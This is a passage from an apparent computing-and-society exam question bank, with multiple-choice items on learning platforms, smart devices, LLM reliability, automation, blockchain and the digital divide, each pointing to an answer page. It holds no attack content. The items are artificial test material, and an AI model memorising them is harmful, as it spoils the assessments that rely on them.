A. measures platform use rather than instruction or learning.

B. discloses student grades to other teachers in the building.

C. favors teachers whose students have the newest devices.

D. cannot be collected by most commercial learning platforms.

Answer: page 950

0001.a.1.4

A district wants one product in which teachers post readings, collect essays, and see which students opened each file. This category of product is:

A. a web content filtering service.

B. a learning management system.

C. a student information system.

D. a mobile device management console.

Answer: page 950

0001.a.1.5

A teacher sees that a student has opened every assigned video in the course platform, yet the student performs poorly on related quizzes. Which next step makes the best use of this data?

A. reporting the account to the technology department for review

B. assigning the same videos again and removing the quizzes

C. asking the student to explain the content of the videos

D. marking the videos incomplete until quiz scores improve

Answer: page 950

Assistive and adaptive classroom tools

0001.a.2.1

A student who is hard of hearing joins a class that relies on recorded lectures. Which tool would most directly widen this student's access to the lectures?

A. text-to-speech for the course syllabus

B. higher-resolution versions of the video files

C. captions synchronized with the recordings

D. adaptive quizzes that follow each recording

Answer: page 950

0001.a.2.2

A mathematics program moves each student to easier or harder problems based on previous answers. A teacher notices that one student has been kept on basic computation for weeks. The most appropriate response is to:

A. review whether this sequence still serves the learning goal.

B. restart the program so that placement can be recalculated from zero.

C. add text-to-speech so that the student can finish problems faster.

D. let the sequence continue, since the program has measured ability.

Answer: page 950

0001.a.2.3

One school tool raises or lowers the difficulty of reading passages after each answer. Another tool reads on-screen text aloud. Which statement best classifies the two tools?

A. The first is assistive; the second is adaptive.

B. The first is adaptive; the second is assistive.

C. Both are adaptive, since each responds to the user.

D. Both are assistive, since each supports a learner.

Answer: page 950

0001.a.2.4

A student with dyslexia understands a history text well when hearing it but reads printed text slowly. A teacher can best support this student's access to the assigned reading by providing:

A. text-to-speech for the digital reading.

B. a learning platform log of reading time.

C. captions on a video of the same topic.

D. an adaptive program that shortens the reading.

Answer: page 950

0001.a.2.5

A district buys a reading program advertised as personalizing instruction for every student. Which question would best help a teacher evaluate the program before using it with a class?

A. Do students say that the program feels personalized?

B. Does the program rely on recent machine-learning methods?

C. Does its content match the goals of this course?

D. Does it run on the school's newest tablets?

Answer: page 950

Connected devices at home

0001.a.3.1

A family installs a smart speaker to control lights and answer questions. Compared to a conventional speaker and light switches, the new setup most clearly introduces:

A. a greater risk of damage to the home's electrical wiring.

B. a separate power source for each connected device in the home.

C. a loss of manual control over the lights.

D. data flows from the home to a company's servers.

Answer: page 950

0001.a.3.2

A homeowner replaces a programmable thermostat with a newer model. Which capability, absent from the old model, would make the new one an Internet of Things (IoT) device?

A. showing its settings on a digital display

B. following a different temperature schedule each day

C. holding a chosen temperature without any attention

D. adjustment by phone from outside the home

Answer: page 950

0001.a.3.3

The company that makes a popular smart doorbell shuts down its servers. Owners are most likely to find that:

A. remote features stop, although the hardware still works.

B. other devices on the home network lose Internet access.

C. all features continue, because video is stored locally.

D. video ownership passes to the home's Internet provider.

Answer: page 950

0001.a.3.4

A homeowner's smart energy meter reports usage every fifteen minutes. Which unintended inference is this data most likely to enable?

A. how much the residents earn from their employment

B. which websites the residents visit during the day

C. which brands of appliances were purchased recently

D. when the residents are usually at home or away

Answer: page 951

0001.a.3.5

A teacher plans a lesson comparing a basic washing machine with an Internet-connected model. Which capability would illustrate what the connected model adds?

A. letting the owner choose a water temperature by dial

B. using a motor to spin and drain the washing drum

C. following a fixed sequence of wash and rinse steps

D. notifying the owner remotely when a cycle has finished

Answer: page 951

Community uses of computing

0001.a.4.1

Residents suspect that traffic near a school is worsening air quality, but the nearest official monitor is miles away. Which approach would best give them local evidence to present to the city council?

A. placing low-cost sensors nearby and mapping the readings

B. citing the distant official monitor as the local reading

C. searching social media for complaints about local traffic

D. surveying neighbors about how the air seems to them

Answer: page 951

0001.a.4.2

A community group wants to show that buses run less often in its neighborhood than in others nearby. Which resource would most directly support this claim?

A. a news article about a recent transit fare increase

B. the transit agency's published timetables for each route

C. a map showing the bus stop locations in each neighborhood

D. a rider survey about satisfaction with bus drivers

Answer: page 951

0001.a.4.3

A city posts its housing inspection records as files that anyone may download and analyze. This website is best described as a:

A. content delivery network.

B. learning management system.

C. virtual private network.

D. public data portal.

Answer: page 951

0001.a.4.4

A volunteer group's low-cost sensors show higher pollution than a regulator's reference instrument at the same location. Which response would most improve the group's evidence?

A. adding more sensors of the same model nearby

B. discarding readings that exceed the reference instrument

C. averaging the readings over a longer period of time

D. calibrating the sensors against the reference instrument

Answer: page 951

0001.a.4.5

A high school class maps which neighborhoods lack a grocery store, using city data, and presents the map at a town meeting. Which use of computing does this project best illustrate?

A. automating decisions previously made by local officials

B. creating new public records for the city archive

C. gathering and sharing evidence for civic advocacy

D. predicting future store openings from past trends

Answer: page 951

Satellite Internet access

0001.a.5.1

A family on a mountain ranch, far from cable or fiber lines and outside any cellular coverage, needs Internet access for remote work. Which option is most likely to meet this need?

A. a cellular hotspot

B. satellite service

C. municipal fiber service

D. dial-up service

Answer: page 951

0001.a.5.2

A student using geostationary satellite Internet finds that web pages download steadily but that online games feel sluggish. Which characteristic of the connection best explains this experience?

A. the reconnection required each time a page is opened

B. the low download capacity of satellite links

C. the long signal path to orbit and back

D. interference from weather on each transmission to orbit

Answer: page 951

0001.a.5.3

A town's central business district has a choice of fiber, cable, and satellite Internet at similar prices. Which reason best explains why most businesses there would avoid choosing satellite?

A. Satellite signals cannot reach buildings in town centers.

B. Wired links usually give more speed and less latency.

C. Federal rules prevent businesses from buying satellite service.

D. Wired service needs no equipment at the business.

Answer: page 951

0001.a.5.4

The main advantage of satellite Internet compared to wired broadband is its:

A. immunity to weather.

B. reach into remote areas.

C. low latency.

D. low monthly cost.

Answer: page 951

0001.a.5.5

A rural school district compares satellite service with a proposed fiber line that would take several years to build. Which argument best supports using satellite in the short term?

A. Students need a connection before any fiber is built.

B. Fiber lines carry data only short distances between schools.

C. Satellite service has lower latency than fiber for video calls.

D. Satellite service would make the later fiber line unnecessary.

Answer: page 951

3-D printing applications

0001.a.6.1

A robotics team breaks a plastic bracket from a discontinued kit, and no replacement can be purchased. A school 3-D printer would be especially useful here because it can:

A. restore the broken part by fusing its pieces together.

B. produce a single custom part from a digital model.

C. manufacture thousands of identical brackets at low unit cost.

D. produce metal parts using standard classroom filament.

Answer: page 951

0001.a.6.2

A toy company plans to produce a million identical figures. Which statement best explains why it would likely use injection molding rather than 3-D printing?

A. 3-D printing requires a new design file for each copy made.

B. Molded toys are easier to customize for each buyer.

C. A mold makes each unit cheap at high volume.

D. 3-D printing struggles to capture the fine detail of a figure.

Answer: page 951

0001.a.6.3

A teacher compares a 3-D printer with a milling machine that cuts a part from solid stock. The printer differs from the milling machine because it:

A. requires no digital model to begin a new job.

B. adds material in layers following a digital model.

C. hardens one complete object at once from a template.

D. injects melted material into a reusable metal mold.

Answer: page 951

0001.a.6.4

An engineering student wants to test how a redesigned handle feels before ordering production parts. Which benefit of 3-D printing is most relevant?

A. a prototype can be made and then revised at low cost

B. the material will match what the factory will use

C. the design will require no further digital modeling

D. the printed handle will pass production safety standards

Answer: page 951

0001.a.6.5

A student downloads a model whose license allows personal use only, then plans to print copies and sell them at a craft fair. The most significant issue is that:

A. a batch of copies is better suited to injection molding.

B. the license does not permit this sale.

C. the model file degrades with each printed copy.

D. printing a model for sale requires a manufacturing permit.

Answer: page 952

Large language models

0001.a.7.1

A student asks a large language model (LLM) chatbot for a summary of a local ordinance passed last month, and the chatbot gives a detailed, confident answer. The student should be most cautious because:

A. confident wording does not indicate that the content is accurate.

B. detailed answers are typically copied from one uncited source.

C. local governments prohibit the use of chatbots for this purpose.

D. chatbots are unable to produce summaries of legal documents.

Answer: page 952

0001.a.7.2

For which request would a general-purpose large language model most likely give a reliable answer without additional sources?

A. explaining a widely taught concept from introductory biology

B. describing an unpublished internal policy of a private company

C. reporting today's closing prices for a list of stocks

D. quoting the minutes of a small town's recent zoning meeting

Answer: page 952

0001.a.7.3

A student believes that a large language model (LLM) chatbot looks up each answer in a checked reference. In fact, the model produces text by:

A. reasoning from stored logical definitions of each word.

B. copying whole passages from one matching web page.

C. following rules that programmers wrote for each question type.

D. predicting likely next words from patterns in training data.

Answer: page 952

0001.a.7.4

A chatbot gives a teacher three journal citations in support of a teaching method. The teacher cannot find any of the articles in a library database. This result most likely illustrates that the chatbot:

A. was trained on articles held by a different library.

B. generated plausible-looking text rather than retrieving real sources.

C. misunderstood the teacher's question about the teaching method.

D. deliberately concealed sources because of copyright restrictions.

Answer: page 952

0001.a.7.5

A computer science teacher wants students to use a chatbot for research while recognizing its limits. Which classroom practice best addresses these limits?

A. asking the same question until the wording stabilizes

B. asking the chatbot whether its answer is accurate

C. verifying each claim against an independent, reliable source

D. choosing the chatbot that gives the longest answers

Answer: page 952

Machine translation at school

0001.a.8.1

A school sends families a notice about a change to emergency pickup procedures, using machine translation for several home languages. Which additional step is most important?

A. having fluent speakers review the translated notices

B. sending the notice by both e-mail and text message

C. translating the notice back into English by machine

D. adding a note that the text was machine translated

Answer: page 952

0001.a.8.2

A teacher uses machine translation for a quick message to a parent about a field trip form and arranges for an interpreter at a meeting about special education services. This difference in approach is best justified by:

A. the legal ban on machine translation in schools.

B. the higher cost of machine translation for meetings.

C. the consequences of an error in each situation.

D. the larger word count of the field trip form.

Answer: page 952

0001.a.8.3

A family reports that a translated school message used a word with an offensive meaning in their language. Which characteristic of machine translation does this most directly illustrate?

A. Fluent-looking output can still miss context and meaning.

B. It slows noticeably when messages run longer than a paragraph.

C. It translates each word separately using a dictionary lookup.

D. It stores family messages in a public database.

Answer: page 952

0001.a.8.4

The primary benefit of machine translation in a multilingual school community is:

A. automatic instruction of students in their home languages.

B. guaranteed legal accuracy in official school documents.

C. faster communication with families in many languages.

D. elimination of the need for bilingual school staff.

Answer: page 952

0001.a.8.5

A teacher is deciding how to make a class newsletter available to families who speak other languages. Which approach best balances speed and accuracy?

A. a delay until a professional translator can be hired

B. one additional language selected by the school

C. the English version only, with links to translation tools

D. machine translation checked by a bilingual volunteer

Answer: page 952

School network administration

0001.a.9.1

A team's software must download updates from an outside server, but the school-managed network refuses the connection. Who can most directly change whether this connection is allowed?

A. the instructional technology coach at the school

B. the support representative at the software vendor

C. the network administrator in the IT department

D. the webmaster for the school's public website

Answer: page 952

0001.a.9.2

Students on a school-issued laptop can reach a website through their home Wi-Fi but not from the school building. Which conclusion is best supported by this pattern?

A. Filtering on the school network is the likely cause.

B. The laptop's browser is too old to display the website.

C. The laptop's management profile blocks the site on all networks.

D. The website has withdrawn its pages from school-aged users.

Answer: page 952

0001.a.9.3

On a school-managed network, decisions about which outside addresses to allow or block are typically implemented through the:

A. learning platform.

B. firewall.

C. web browser.

D. domain registrar.

Answer: page 952

0001.a.9.4

A teacher wants students to use a new online simulation next month, and it requires a connection that the school currently blocks. The most appropriate step is to:

A. have students reach the simulation through a private proxy.

B. ask the IT department for review ahead of the lesson.

C. ask the publisher to change the school's filtering settings.

D. install the simulation on each device with a personal account.

Answer: page 952

0001.a.9.5

A school's IT department blocks a video-sharing site, and teachers complain that it blocks useful instructional videos as well. Which change would best address both the teachers' need and the reasons for the block?

A. allowing specific approved video sources through the filter

B. blocking additional video sites so the rule is applied evenly

C. removing the filter for all users during school hours

D. having teachers download videos at home for class

Answer: page 952

Digital forms and data accuracy

0001.a.10.1

A clinic's online intake form receives birth dates in the year 2099 and phone numbers containing letters. Which design change would most directly reduce these errors?

A. requiring staff to log in before viewing the forms

B. encrypting submitted forms before storing them on the server

C. sending the data to a faster database after submission

D. checking each entry's format and range during entry

Answer: page 952

0001.a.10.2

A form for a school survey includes a field for grade level. Which design would produce the most consistent data?

A. a file upload field for a scanned paper survey

B. a drop-down list limited to the grade levels offered

C. a numeric field accepting any whole number entered

D. a free-text box with written instructions about correct spelling

Answer: page 953

0001.a.10.3

When a digital form rejects "abc" in a field that requires a number, the form is performing:

A. data compression.

B. data validation.

C. data encryption.

D. data aggregation.

Answer: page 953

0001.a.10.4

A town's online permit form accepts addresses that are correctly formatted but do not exist, and staff must correct them by hand. Which addition is most likely to help?

A. storing a backup copy of the permit database each night

B. shortening the form so that applicants enter fewer address fields

C. checking addresses against a reference list during entry

D. requiring applicants to match a standard address format

Answer: page 953

0001.a.10.5

A teacher's online sign-up form has a field for the number of students in a group, and groups can have between 2 and 5 students. Which constraint best protects the accuracy of this field?

A. allowing any text of at least two characters

B. allowing only whole numbers from 2 through 5

C. requiring this field to be completed before the others

D. showing the group size in a confirmation message

Answer: page 953

0001.b Impacts on individuals and society

Read about this in the content summary: 0001.b, page 14.

Recommendation systems

0001.b.1.1

A video platform changes its recommendation system to maximize watch time. Researchers later find that users are shown increasingly extreme videos. This result most likely occurs because:

A. the system picks videos at random from a library that keeps shrinking.

B. provocative content tends to hold attention, whatever its accuracy.

C. extreme videos are less expensive for the platform to store.

D. users have explicitly asked to receive more extreme content.

Answer: page 953

0001.b.1.2

A student notices that a music app suggests only songs similar to those the student already plays. This pattern is best explained by a recommendation system that:

A. limits each user's account to songs from a single music genre.

B. copies the most popular playlists from other countries.

C. ranks content using signals from the student's past behavior.

D. removes songs not licensed for the student's age group.

Answer: page 953

0001.b.1.3

Which signals do recommendation algorithms most commonly use to rank content for a user?

A. word counts and file sizes

B. clicks and watch time

C. server location and domain age

D. author credentials and citations

Answer: page 953

0001.b.1.4

A news aggregation site ranks articles only by the number of shares. Which likely consequence should most concern a civics teacher who wants students to use the site?

A. Sensational stories may crowd out more accurate reporting.

B. Students may be unable to open articles with few shares.

C. The site may slow down as popular articles attract traffic.

D. Older stories may be deleted once their shares decline.

Answer: page 953

0001.b.1.5

A student wants a social media feed that includes a wider range of viewpoints. Which action is most likely to produce this change?

A. switching the account's posts from public to private

B. opening the app at a different time of day

C. following and engaging with a variety of sources

D. turning off the app's notifications for new posts

Answer: page 953

Digital business models

0001.b.2.1

A popular photo-sharing app charges users nothing and reports large annual profits. The company most likely earns most of its revenue by:

A. charging schools for licenses to student accounts.

B. receiving grants from technology-focused foundations.

C. selling advertisers access to targeted audiences.

D. licensing its photo filters to device manufacturers.

Answer: page 953

0001.b.2.2

A teacher explains the saying "If you are not paying for the product, you are the product" using a free social network. Which fact best supports the saying?

A. Advertisers pay for access to users' attention and data.

B. The company must report its finances to users every year.

C. Users create the posts that other users of the service see.

D. The service requires each user to register a real name.

Answer: page 953

0001.b.2.3

A free fitness app requests access to contacts and location, though neither is needed for tracking workouts. The most likely business reason for these requests is that:

A. contacts let the app verify each user's workout records.

B. app stores require free applications to request these data.

C. additional user data can make advertising more valuable.

D. additional permissions make the application run faster on phones.

Answer: page 953

0001.b.2.4

A free weather app's financial report shows revenue rising whenever its number of daily users rises, although no user pays anything. This revenue most likely comes from:

A. investors buying shares as the app grows.

B. companies paying to reach those users.

C. phone makers paying to preinstall the app.

D. government agencies licensing its forecasts.

Answer: page 953

0001.b.2.5

A paid version of a messaging app promises no advertising and no ad-targeted tracking. A teacher comparing the free and paid versions can best describe the difference as:

A. paying to avoid laws that apply to the free version.

B. paying for a service that has no privacy policy.

C. paying for messages that travel faster over the network.

D. paying with money rather than with attention and data.

Answer: page 953

Software as a service

0001.b.3.1

A design software firm stops selling boxed licenses and offers its tools only by monthly subscription through a browser. Which change is most valuable to the firm under this arrangement?

A. fewer outages, since customers' own computers now run the tools

B. predictable recurring income and data on how customers use tools

C. lower support costs, because customers host and patch the tools themselves

D. one large payment from each customer before delivery

Answer: page 953

0001.b.3.2

A district's grade book runs entirely on a vendor's servers and is reached through a browser. The vendor announces that it will close in six months. The district's most urgent concern is:

A. reinstalling the grade book on its own school laptops.

B. ending the license payments for the current year.

C. updating student devices to the latest operating system.

D. exporting its data before the service ends.

Answer: page 953

0001.b.3.3

A company's staff use a subscription spreadsheet tool through a browser, with nothing installed locally. Who typically fixes a flaw found in the application?

A. the provider of the service

B. the maker of the employees' computers

C. the company's Internet service provider

D. each employee who uses the tool

Answer: page 954

0001.b.3.4

A small business compares buying perpetual licenses for design software with subscribing to an online version. Which risk is greater under the subscription?

A. running an older version that has unpatched security flaws

B. having to purchase servers to run the application on site

C. losing access if payments stop or the provider changes terms

D. having staff install updates by hand on their own computers

Answer: page 954

0001.b.3.5

A school wants students to use a word processor that works from any browser and is updated without help from the IT staff. Which delivery model best meets this need?

A. software as a service

B. on-premise licensing

C. open-source compilation

D. peer-to-peer distribution

Answer: page 954

Health care records

0001.b.4.1

A hospital network adopts one electronic health record system across all of its clinics. Which pair best describes the most important benefit and risk of this change?

A. lower storage costs; patients lose sight of their own records

B. no need for backups; slower access during emergencies

C. faster sharing among clinicians; one breach can expose many records

D. fewer clinicians needed; paper must be kept for longer

Answer: page 954

0001.b.4.2

A patient visits an emergency room far from home. Which capability of electronic health records is most likely to improve the patient's care?

A. patients can pay their hospital bills online after the visit

B. clinicians can quickly view allergies and medications from other sites

C. hospitals can send appointment reminders to the patient's phone

D. doctors can type notes instead of writing them on paper

Answer: page 954

0001.b.4.3

After a ransomware attack, a hospital cannot open its electronic records for several days. This incident most directly illustrates that:

A. the law requires hospitals to wait before restoring attacked records.

B. clinicians could still reach locked records from other devices.

C. reliance on digital records makes outages a risk to care.

D. electronic records are lost permanently once ransomware encrypts them.

Answer: page 954

0001.b.4.4

A major reason that electronic health record systems are attractive targets for attackers is that they:

A. are available to the public by default.

B. contain anonymized summaries that are valuable to advertisers.

C. concentrate sensitive information about many people.

D. run on hardware that is older than most business systems.

Answer: page 954

0001.b.4.5

A clinic employee opens a neighbor's health record out of curiosity, though not involved in the neighbor's care. Which safeguard would most directly deter this behavior?

A. a privacy notice given to patients at each visit

B. encryption of records while they are stored

C. role-based access with logs that are reviewed

D. multi-factor login for every clinic employee

Answer: page 954

Automation and work

0001.b.5.1

A law firm adopts software that reviews contracts for common clauses. Junior lawyers now spend less time on document review and more on client work. This change best illustrates that automation often:

A. creates new work mainly for the software developers who built it.

B. shifts the mix of tasks within a job.

C. reduces employment in a field sharply within a few years.

D. removes the need for human judgment in related work.

Answer: page 954

0001.b.5.2

A warehouse installs robots that move shelves to workers. Which new role is the warehouse most likely to need?

A. drivers who steer each robot along its route

B. supervisors who assign tasks to the robots each hour

C. technicians who maintain and monitor the robots

D. programmers who rewrite the robots' software every day

Answer: page 954

0001.b.5.3

A student argues that learning to write is pointless because software can now generate reports. Which response best reflects how automation generally affects work?

A. Writing tasks shift, and judging the output still takes skill.

B. Workers whose tasks are automated are promoted to supervisors.

C. Such tools will soon be banned in most workplaces.

D. Software cannot yet produce text resembling human writing.

Answer: page 954

0001.b.5.4

Which statement best summarizes the overall effect of automation on employment?

A. It eliminates some jobs, changes others, and creates new roles.

B. It raises total employment in every industry it reaches.

C. It removes whole occupations but leaves other jobs unchanged.

D. It affects manufacturing and farming work, but not knowledge work.

Answer: page 954

0001.b.5.5

A bank replaces many tellers with mobile deposit software and retrains remaining staff to give financial advice. Which group is likely to be most disadvantaged by this transition?

A. customers who rarely visit a physical branch

B. workers lacking access to retraining for the new skills

C. managers who must now supervise the retrained financial advisers

D. tellers who complete retraining as financial advisers

Answer: page 954

Algorithmic management

0001.b.6.1

A delivery driver's pay drops after a platform changes how it assigns orders, and the app provides no reason. Which concern does this situation most directly illustrate?

A. drivers become employees once they use a company's app

B. drivers' locations are shared with customers during deliveries

C. pay can no longer be calculated accurately by software

D. decisions affecting workers are hard to see or challenge

Answer: page 954

0001.b.6.2

A courier company replaces its dispatchers with a program that assigns routes, sets each courier's pay, and rates performance. This arrangement is best described as:

A. algorithmic management.

B. cloud computing.

C. data mining.

D. agile development.

Answer: page 954

0001.b.6.3

A warehouse evaluates employees using a software score based on items packed per hour. An employee is penalized after a week spent helping train new staff. Which change would best address this problem?

A. increasing how often the score is calculated each week

B. displaying each employee's score on a larger shared screen

C. removing the training duties from the job description

D. allowing human review and appeal of the software's scores

Answer: page 954

0001.b.6.4

A ride-hailing platform tells drivers they are independent, yet its software sets their fares and can deactivate their accounts. This combination has raised debate most directly about:

A. whether the software is able to calculate fares accurately.

B. whether riders should be required to create user accounts.

C. how much control the platform actually exercises over its workers.

D. how much of the platform's code uses open-source libraries.

Answer: page 954

0001.b.6.5

A teacher compares a human supervisor who explains each week's schedule with an app that assigns shifts automatically. Which contrast raises the greatest concern for workers?

A. A worker may not learn why a shift was assigned.

B. A worker must view the schedule on a mobile phone.

C. A worker receives each shift alert as a text message.

D. A worker must create an account to see the schedule.

Answer: page 955

Search engines and ranking

0001.b.7.1

A website owner fills pages with popular search phrases unrelated to the site's content, hoping to appear higher in search results. A search company would most likely respond by:

A. ranking results mainly by each page's publication date.

B. revising its ranking methods and keeping details private.

C. publishing its full ranking code for everyone to inspect.

D. removing commercial websites that run advertisements from its index.

Answer: page 955

0001.b.7.2

A student finds that the first results for a product search are marked "Sponsored." The most accurate way to explain these results to the class is that they:

A. are displayed only to students who are using school accounts.

B. have been verified by the search company as the most accurate.

C. are ranked first because they are the oldest pages on the topic.

D. appear at least partly because a company paid for placement.

Answer: page 955

0001.b.7.3

A bakery's owner adds descriptive page titles and seeks links from local sites so that the bakery's website appears higher when people search for cakes. This effort is best described as:

A. web accessibility testing.

B. paid search placement.

C. data validation.

D. search engine optimization.

Answer: page 955

0001.b.7.4

Two students search for the same phrase on different accounts and get different result orders. Which explanation is most likely?

A. Ranking uses factors such as location and search history.

B. Results are assigned randomly for each query and device.

C. One student has reached a daily limit on searches.

D. The index stores a separate copy of the web for each person.

Answer: page 955

0001.b.7.5

A teacher wants students to understand that top search results are not automatically the most reliable. Which activity best supports this idea?

A. counting how many results each search phrase returns

B. citing the top result's text as the support for each claim

C. comparing top results with what independent sources say

D. timing how long the engine takes to return results

Answer: page 955

Blockchain and digital currency

0001.b.8.1

Several shipping companies share a ledger in which each new block includes a hash of the previous block. An employee later edits an old entry on one copy. The most likely result is that:

A. the original entry becomes encrypted and unreadable to everyone.

B. the oldest blocks are deleted to protect the ledger's integrity.

C. all copies automatically accept the edit as the new record.

D. the edit is detectable because it breaks links to later blocks.

Answer: page 955

0001.b.8.2

A group of banks wants a shared record to which entries can only be added, each linked to the last by a cryptographic hash. This design describes a:

A. virtual private network.

B. blockchain ledger.

C. mirrored file server.

D. relational database.

Answer: page 955

0001.b.8.3

A buyer sends cryptocurrency to a seller who never delivers the goods. Compared to a credit card purchase, the buyer is most likely to find that:

A. a bank must refund the amount within a few days.

B. the transaction record is removed from the ledger entirely.

C. the blockchain reverses the transaction automatically.

D. there are fewer protections for reversing the payment.

Answer: page 955

0001.b.8.4

A student argues that all cryptocurrencies are environmentally friendly because they do not print money. The strongest counterargument is that:

A. digital wallets still depend on printed paper backups.

B. many networks consume substantial energy to validate transactions.

C. blockchains require rare specialized hardware for storage.

D. printed currency has only a small cost in its production.

Answer: page 955

0001.b.8.5

A town considers placing property records on a blockchain so that past records cannot be quietly changed. Which limitation should officials consider most carefully?

A. Incorrect data, once recorded, will also be hard to correct.

B. A blockchain removes the need for identification checks.

C. Blockchain records tend to expire after a few years.

D. Blockchain entries are limited to numeric values, so addresses need a separate system.

Answer: page 955

Society shapes technology

0001.b.9.1

Early facial recognition products were much less accurate for darker-skinned women, and developers had tested them mostly on lighter-skinned men. This example best supports the view that:

A. facial recognition cannot technically analyze images of darker skin.

B. accuracy problems result mainly from slow computer hardware.

C. technology develops independently of those who choose what to build.

D. designers' priorities shape how technology performs for different groups.

Answer: page 955

0001.b.9.2

A country passes a law requiring messaging apps to store users' data within its borders, and companies redesign their systems to comply. This example best illustrates that:

A. regulation can influence technology design.

B. technical standards replace national laws.

C. laws cannot affect global software products.

D. encryption is banned in most countries.

Answer: page 955

0001.b.9.3

After smartphones became common, many people stopped memorizing phone numbers and began to expect instant replies. Which conclusion is best supported?

A. People have lost the biological capacity to remember numbers.

B. Cultural practices have no effect on how technology is used.

C. Smartphones were designed primarily to change memory habits.

D. Adoption of a technology can change everyday cultural practices.

Answer: page 955

0001.b.9.4

Researchers argue that a country's values, incentives, and laws shape its technologies, and that new technologies change its customs in turn. Which belief does this argument reject?

A. Laws can affect how companies collect and use data.

B. People often use technology in ways designers did not expect.

C. Technology companies are influenced by what customers want.

D. Technology is neutral and develops on an inevitable path.

Answer: page 955

0001.b.9.5

A social media company's default setting makes new accounts public because public posts increase engagement. A teacher could use this example to show that:

A. public accounts are safer for young users than are private accounts.

B. default settings have little effect on what users actually do.

C. software settings are determined by the operating system alone.

D. business incentives can be built into a product's design choices.

Answer: page 955

0001.c Equity, access, and trade-offs

Read about this in the content summary: 0001.c, page 16.

Digital divide

0001.c.1.1

A town gives every household a free tablet, but many older residents still do not use online services. Which gap does the program most clearly leave unaddressed?

A. the purchase price of tablets for residents

B. the online content written for older residents

C. the number of devices in each household

D. the skills and support to use the devices

Answer: page 956

0001.c.1.2

A report on a region says that some residents lack devices, some lack reliable connections, and some lack the skills to go online. Together, these gaps are best described as:

A. a filter bubble.

B. the homework gap.

C. net neutrality.

D. the digital divide.

Answer: page 956

0001.c.1.3

A survey finds that low-income rural families have far fewer home broadband connections than wealthier suburban families. A school can best use this information to:

A. plan assignments and supports that do not assume home access.

B. conclude that rural families have less interest in technology.

C. remove computer science from the rural schools' curricula.

D. require all rural families to subscribe to broadband service.

Answer: page 956

0001.c.1.4

Two neighborhoods have the same broadband speeds available, yet home adoption is much lower in one of them. Which factor best explains this difference?

A. the browsers installed on residents' computers

B. the monthly cost relative to household income

C. the size of each neighborhood's population

D. the distance between each neighborhood and data centers

Answer: page 956

0001.c.1.5

A government agency moves its benefits application online and closes its in-person offices. Which group is most likely to be disadvantaged?

A. people who prefer to apply outside of normal office hours

B. people without reliable connectivity or digital skills

C. people who have used the agency's website in the past

D. people who have recently moved to the agency's service area

Answer: page 956

Homework gap

0001.c.2.1

A teacher learns that several students have no Internet access at home, though the course requires online videos each week. Which response best addresses this barrier?

A. reducing the grades of students who miss the videos

B. providing class time, loaned hotspots, or offline copies

C. moving the videos to a faster streaming service

D. telling students to find a café with public Wi-Fi

Answer: page 956

0001.c.2.2

A principal's report says that some students cannot finish assignments requiring the Internet because their homes lack a connection. Which term names this situation?

A. the achievement gap

B. the homework gap

C. a filter bubble

D. a chilling effect

Answer: page 956

0001.c.2.3

A student regularly submits assignments late and says the family shares one phone. Which interpretation should a teacher consider first?

A. the family may be breaking the acceptable use policy

B. the student lacks motivation to finish work on time

C. the learning platform may be rejecting the submissions

D. limited home access may be delaying the student's work

Answer: page 956

0001.c.2.4

A district issues laptops to all students and now assigns all homework online, assuming that students can complete it at home. The main flaw in this reasoning is that:

A. a laptop does not provide connectivity at home.

B. laptops need more frequent repair than other devices.

C. students learn less from online sources than from print.

D. online homework gives less practice than paper homework.

Answer: page 956

0001.c.2.5

A district lends hotspots to students without home Internet and wants to know whether the program helps them keep up. Which evidence would be most useful?

A. the number of hotspots the district purchased this year

B. assignment completion rates before and after borrowing a hotspot

C. average network speed measured in the district's school buildings

D. the brand of hotspots compared with other brands

Answer: page 956

Measuring broadband coverage

0001.c.3.1

A federal map counts a census block as served if one home there can buy broadband, and funds go only to unserved blocks. Which consequence is most likely?

A. Households without service may be missed by funding programs.

B. Every household in a served block will soon receive a fiber line.

C. Rural areas will receive more funding than they need.

D. Providers will be barred from selling in unserved blocks.

Answer: page 956

0001.c.3.2

A county's broadband map shows full coverage, yet residents report having no service. Which action would best produce an accurate picture?

A. asking providers to repeat and confirm their existing coverage claims

B. limiting the map to the town centers in the county

C. redrawing the map with a larger area for each unit

D. collecting address-level data from residents and speed tests

Answer: page 956

0001.c.3.3

Broadband maps can overstate coverage mainly because they may:

A. exclude urban addresses from their coverage calculations.

B. count only wireless connections while ignoring all of the wired ones.

C. count an area as served if one address has service.

D. rely on aerial photographs of cables instead of provider reports.

Answer: page 956

0001.c.3.4

A map shows that a neighborhood can get 100-megabit service, yet many residents experience far slower speeds at a higher price than nearby areas. A researcher should conclude that the map:

A. reflects actual speeds, so residents are misreporting their experience.

B. shows that the neighborhood has excess network capacity.

C. would improve if restricted to business addresses.

D. reports availability, not actual service or affordability.

Answer: page 956

0001.c.3.5

A state distributes broadband grants based on maps supplied by Internet providers. Which concern about this approach is most relevant?

A. Grant funds may not pay for building rural networks.

B. Maps may not show differences between neighboring counties.

C. Providers may use mapping software that is out of date.

D. Providers may have incentives that affect how coverage is reported.

Answer: page 956

Language and representation online

0001.c.4.1

A student who speaks a less common language finds that a chatbot gives far better answers in English. Which factor best explains this difference?

A. Copyright law limits translating chatbot output into other languages.

B. Computers process English characters faster than those of other languages.

C. Speakers of less common languages rarely go online at all.

D. Training data and online content are concentrated in a few languages.

Answer: page 956

0001.c.4.2

A school wants to select a reading tool for students who speak many home languages. Which step would best address differences in the tool's performance?

A. selecting the tool that has the most recent release date

B. asking the vendor whether the tool is generally accurate

C. testing the tool's accuracy in the languages students use

D. choosing the tool with the largest number of English titles

Answer: page 956

0001.c.4.3

Compared to speakers of the most common online languages, speakers of less common languages typically find:

A. fewer resources and less accurate language tools.

B. identical resources and tools after adjusting their settings.

C. faster connections and lower prices for Internet service.

D. more websites and more accurate translation software.

Answer: page 957

0001.c.4.4

An encyclopedia website has millions of articles in English but only a few thousand in an Indigenous language. Which effect is most concerning for the speakers of that language?

A. Articles not translated into English are automatically deleted.

B. Modern operating systems can no longer display their language.

C. Their knowledge is less represented online, so tools learn less.

D. Their communities must route traffic through the English site's server.

Answer: page 957

0001.c.4.5

A teacher wants students to see for themselves why speakers of some home languages get poorer results online than English speakers do. Which classroom activity would best reveal this?

A. measuring typing speed on keyboards from different countries

B. counting the languages available in a phone's settings

C. listing countries with the highest smartphone sales this year

D. comparing search and translation quality across several languages

Answer: page 957

Global costs of computing

0001.c.5.1

A consumer upgrades to a new smartphone every year. Which party is most likely to bear the greatest environmental burden from this practice?

A. the consumer, who pays a higher bill for upgrades

B. developers who make updates for the newest phones

C. communities near mineral mines and informal e-waste sites

D. retail employees who sell phones in wealthy cities

Answer: page 957

0001.c.5.2

